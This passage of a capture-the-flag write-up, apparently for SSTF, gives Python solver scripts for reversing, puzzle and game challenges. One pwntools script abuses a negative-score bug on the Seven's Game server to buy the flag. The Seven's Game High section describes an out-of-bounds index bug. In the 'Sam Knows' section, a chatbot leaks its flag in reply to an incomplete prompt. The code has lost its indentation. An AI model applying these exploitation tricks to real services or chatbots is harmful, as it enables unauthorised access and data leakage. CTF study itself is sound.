info["next"] = {}
for k in range(j, len(f)):
l = f[k][8:].strip()
if l.startswith("if ("):
nxt = {}
l = l.split("(")[1].split(")")[0].split(" ")
v1 = int(l[0][:-1])
v2 = int(l[-3][:-1])
v3 = int(l[-1][:-1])
op1 = l[1]
op2 = l[-6]
if op2 == "+":
v2 = -v2
key = -1
x1 = -int((-v2 + math.sqrt(v2**2 + 4 * v3)) / 2)
x2 = -int((-v2 - math.sqrt(v2**2 + 4 * v3)) / 2)
info["debug"] = [v1, v2, v3, op1, op2, x1, x2]
if op1 == "<":
if v1 < x1:
key = x1
if v1 < x2:
key = x2
else:
if v1 > x1:
key = x1
if v1 > x2:
key = x2
if key != -1:
l = f[k+1][8:].strip().split(" ")[-1].split("(")[0]
info["next"][key] = l
if l == "Abstract next = getNext();":
break
k += 1
seq = []
while True:
l = f[k][8:].strip()
if l.startswith("next.f"):
seq.append((True, "f" + l.split("(")[0][-1]))
if l.startswith("f"):
seq.append((False, "f" + l.split("(")[0][-1]))
k += 1
if len(f[k]) < 8:
break
info["code"] = seq
if i == 981:
d["Last"] = info
else:
d["C%d"%(i)] = info
def find_path(current, buf):
if current == "Last":
return buf
info = d[current]
if len(info["next"]) == 0:
return None
for k, v in info["next"].items():
tmp_buf = buf[:]
for sw, f in info["code"]:
if sw:
if d[v][f] != "":
tmp_buf += d[v][f]
else:
break
else:
if info[f] != "":
tmp_buf += info[f]
else:
break
else:
res = find_path(v, tmp_buf)
if res:
return res
return None
start = "C1843"
flag = find_path(start, "")
import base64
with open("flag.jpg", "wb") as f:
f.write(base64.b64decode(flag.encode()))
```
![](https://i.imgur.com/ktaXrc2.jpg)
### FSC
`M(X) -> load`
`A(X) -> double`
`R(a, b) -> check (now buffer size + a & 0xFF == 0)`
After a little analysis, we found out the aboves.
We wrote a parse code for defines and arguments by python.
```python=
import re
u = '''A(M(12))R(48,13)
A(M(14))R(66,15)
M(16)R(150,17)
A(M(18))R(36,19)
A(M(20))R(46,21)
M(22)R(131,23)
A(M(24))R(32,25)
M(26)R(161,27)
A(M(28))R(66,29)
A(M(30))R(26,31)
A(M(32))R(34,33)
M(34)R(140,35)
M(36)R(223,37)
A(M(38))R(28,39)
A(M(40))R(88,41)
A(M(42))R(90,43)
A(M(44))R(10,45)
M(46)R(155,47)
M(48)R(159,49)
A(M(50))R(116,51)
M(52)R(141,53)
M(54)R(151,55)
A(M(56))R(22,57)
M(58)R(140,59)
A(M(60))R(122,61)
M(62)R(154,63)
M(64)R(153,65)
A(M(66))R(22,67)
M(68)R(146,69)
A(M(70))R(66,71)'''
z = ('SCTF{', '01', 'f+38', 'f+34', 'f+32', 'f+36', 'f+40', 'f+41', 'f+42', 'f+43', 'f+44', 'f[27]', 'f+100', 'f[18]', 'f+82', 'f[5]', 'f+56', 'f[15]', 'f+76', 'f[14]', 'f+74', 'f[29]', 'f+104', 'f[12]', 'f+70', 'f[11]', 'f+68', 'f[21]', 'f+88', 'f[7]', 'f+60', 'f[24]', 'f+94', 'f[8]', 'f+62', 'f[28]', 'f+102', 'f[13]', 'f+72', 'f[2]', 'f+50', 'f[0]', 'f+46', 'f[4]', 'f+54', 'f[22]', 'f+90', 'f[10]', 'f+66', 'f[3]', 'f+52', 'f[20]', 'f+86', 'f[19]', 'f+84', 'f[6]', 'f+58', 'f[16]', 'f+78', 'f[1]', 'f+48', 'f[17]', 'f+80', 'f[26]', 'f+98', 'f[25]', 'f+96', 'f[23]', 'f+92', 'f[9]', 'f+64', 'f[99]', '1337', '}')
f = [0 for i in range(1337)]
for line in u.splitlines():
a,b,c = map(int, re.findall(r'.*\((\d+).*\((\d+).*,(\d+)', line)[0])
if line.startswith('A'):
exec(f'{z[a-1]} = {(256 - b)//2}')
else:
exec(f'{z[a-1]} = {(256 - b)}')
print(bytes(f))
```
### Seven's Game - High
There is an `Out-Of-Bound` on the free game index in the free game select
If you select higher index than 3 of free game type A and change to the free game type B, free game index points other global variable.
### Seven's Game - Low
When the difficult is 50000, score can be lower than zero.
After make score be negative, we repeated to lose until could buy the flag.
```python
from pwn import *
while 1:
p = remote('sevensgamelow.sstf.site', 7777)
try:
p.sendlineafter(b': \n', b'5')
except EOFError:
p.close()
sleep(1)
continue
p.sendlineafter(b': \n', b'2')
p.sendlineafter(b': \n', b'0')
p.sendlineafter(b': \n', b'2')
p.sendlineafter(b']\n', b'5000')
SIBAL = 1
ZZGOOD = 0
KK = 0
while 1:
# sleep(0.05)
p.sendlineafter(b': \n', b'3')
p.recvuntil(b': ')
if int(p.recvline().strip().replace(b',',b'')) >= 5_000_000:
SIBAL = 1
break
p.sendlineafter(b': \n', b'0')
if ZZGOOD == 1:
p.sendlineafter(b': \n', b'2')
p.sendlineafter(b']\n', b'50000')
ZZGOOD = 2
p.sendlineafter(b': \n', b'1')
x = p.recvline().strip()
print(x)
if x.split()[0].startswith(b'Y'):
SIBAL = 0
break
if int(x.split()[1].replace(b',', b'')) > 50_500 and ZZGOOD == 0:
ZZGOOD = 1
# if int(x.split()[1].replace(b',', b'')) > 5_000_000 and ZZGOOD == 2:
# SIBAL = 1
# break
p.recvuntil(b'+\n')
p.recvuntil(b'+\n')
x = p.recvline().strip()
# print(x)
# if x.startswith(b'Y'):
# SIBAL = 0
# break
if x.startswith(b'Win the Bonus'):
p.recvline()
k = p.recvline()
a, s = (k[8:10], k[22:24])
p.recvline()
b = p.recvline()
p.recvline()
q, w = (b[8:10], b[22:24])
pay = b''.join([a,s,q,w])
if pay == b'33333133':
if ZZGOOD == 2:
p.sendline(b'2')
else:
p.sendline(b'1')
elif pay == b'31313333':
if ZZGOOD == 2:
p.sendline(b'1')
else:
p.sendline(b'4')
elif pay == b'33343433':
if ZZGOOD == 2:
p.sendline(b'3')
else:
p.sendline(b'2')
elif pay == b'34343134':
if ZZGOOD == 2:
p.sendline(b'4')
else:
p.sendline(b'3')
elif pay == b'33313433':
if ZZGOOD == 2:
p.sendline(b'1')
else:
p.sendline(b'4')
else:
print(a,s,q,w)
print(k.decode() + b.decode())
print(pay)
p.interactive()
p.recvlines(2)
print(a,s,q,w)
print(b'\n'.join(p.recvlines(5)).decode())
if KK:
SIBAL = 1
break
if SIBAL:
p.interactive()
p.close()
```
## Misc
### Flip Puzzle
Since we can move at most 11 times, there are at most 4^11 move sequences to consider.
However, removing the cases where we move to the spot we were just before, there are at most 4 * 3^10 move sequences.
We can precompute everything before connecting to the remote server, solving the challenge.
```python=
import random
from pwn import *
class Challenge:
goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
xpos = 0
ypos = 0
dist = 0
def init(self):
self.status = self.goal
def move(self, dx, dy):
assert abs(dx + dy) == 1
assert dx == 0 or dy == 0
arr = self.status.split(",")
p1 = self.xpos * 4 + self.ypos
xxpos = (self.xpos + dx + 4) % 4
yypos = (self.ypos + dy + 4) % 4
p2 = xxpos * 4 + yypos
arr[p1], arr[p2] = arr[p2], arr[p1]
self.xpos = xxpos
self.ypos = yypos
self.status = ",".join(arr)
options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
conv = {}
def rec(moves):
chall = Challenge()
for i in moves:
chall.move(options[i][0], options[i][1])
tt = "".join(chall.status.split(","))
if tt not in conv.keys():
conv[tt] = moves
else:
if len(conv[tt]) > len(moves):
conv[tt] = moves
if len(moves) == 11:
return
for i in range(4):
if len(moves) == 0 or (len(moves) >= 1 and moves[-1] != (i ^ 1)):
rec(moves + [i])
rec([])
conn = remote("flippuzzle.sstf.site", 8098)
for i in range(100):
print(i)
conn.recvline()
s1 = str(conn.recvline().decode().strip())
s2 = str(conn.recvline().decode().strip())
s3 = str(conn.recvline().decode().strip())
s4 = str(conn.recvline().decode().strip())
cur = s1 + s2 + s3 + s4
print(conv[cur])
moves = conv[cur][::-1]
for idx in moves:
dx = -options[idx][0]
dy = -options[idx][1]
conn.sendline(str(dx).encode() + b"," + str(dy).encode())
print(conn.recvline())
print(conn.recvline())
```
### Sam Knows
`I made a chat bot with the Big(not that big) data based on me!`
Once connected to the chat server, we were presented with the simple interface where we chatted with some kind of AI bot. After couple of replies, we started searching for the corpus used for learning it and successfully found it at [Baidu](https://pan.baidu.com/link/zhihu/7dhEzUuVhsi3NRhmFkevJxh3QxaZZDbQU0lV==). Then, tried to find out a logic in responses by going through different questions used in corpus.
To our luck, it seems that during our deduction phase we got the flag in most inconspicuous way by asking incomplete question "`who wrote the`":
![sam_knows_interface](https://i.imgur.com/KeGWi3B.png)